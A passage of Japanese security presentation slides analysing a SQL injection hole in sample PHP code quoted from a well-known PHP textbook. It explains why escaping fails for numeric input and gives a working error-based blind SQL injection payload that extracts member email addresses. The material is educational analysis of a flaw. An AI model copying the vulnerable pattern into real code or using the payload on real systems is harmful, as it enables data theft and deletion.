30. 日本で一番売れているPHP教科書のサンプル
30
// ここまでで、認証済みであるこの検査が済んでいる
$id = $_REQUEST['id'];
// 投稿を検査する
$sql = sprintf('SELECT * FROM posts WHERE id=%d',
mysql_real_escape_string($id));
$record = mysql_query($sql) or die(mysql_error());
$table = mysql_fetch_assoc($record);
if ($table[‘member_id’] == $_SESSION[‘id’]) { // 投稿者の確認
// 投稿した本人であれば、削除
mysql_query('DELETE FROM posts WHERE id=' .
mysql_real_escape_string($id)) or die(mysql_error());
}
ここにSQLインジェクション
しかし、DELETE FROM
文なので表示はない
たにぐちまこと、「よく分かるPHPの教科書」 P272より引用
31. エスケープしているのになぜSQLインジェクション?
$id = ’88-1’; で説明。これはエスケープ後も 88-1
$sql = sprintf('SELECT * FROM posts WHERE id=%d', mysql_real_escape_string($id));
↓ 生成されるSQL文は、88-1が%dの整数化で88になるので
SELECT * FROM posts WHERE id=88
mysql_query(‘DELETE FROM posts WHERE id=’ .
mysql_real_escape_string($id));
↓ 生成されるSQL文は、エスケープ後も 88-1 のままなので
DELETE FROM posts WHERE id=88-1
※チェックはid=88で、削除されるのはid=88-1 すなわち、87が削除される
31
32. SQL文のエラーが起こるか否かで情報を盗む
• SQLインジェクションにより実行されるSQL文の例
DELETE FROM posts WHERE id=18-(SELECT id FROM members WHERE id LIKE
char(49) ESCAPE IF(SUBSTR((SELECT email FROM members LIMIT 1,1),1,1)>='M', 'a',
'ab')))
• WHERE句の中 18-(SELECT … WHERE …)
• 中のWHERE句は
LIKE 述語にESCAPE句がある
• ESCAPE句はIF関数により、membersの1行目の1文字目が
’M’以上の場合’a’、それ以外の場合’ab’
• SQL文の文法上、ESCAPE句は1文字以外だとエラー
• この結果を繰り返すことによって、対象文字列を絞り込む
→ブラインドSQLインジェクション
32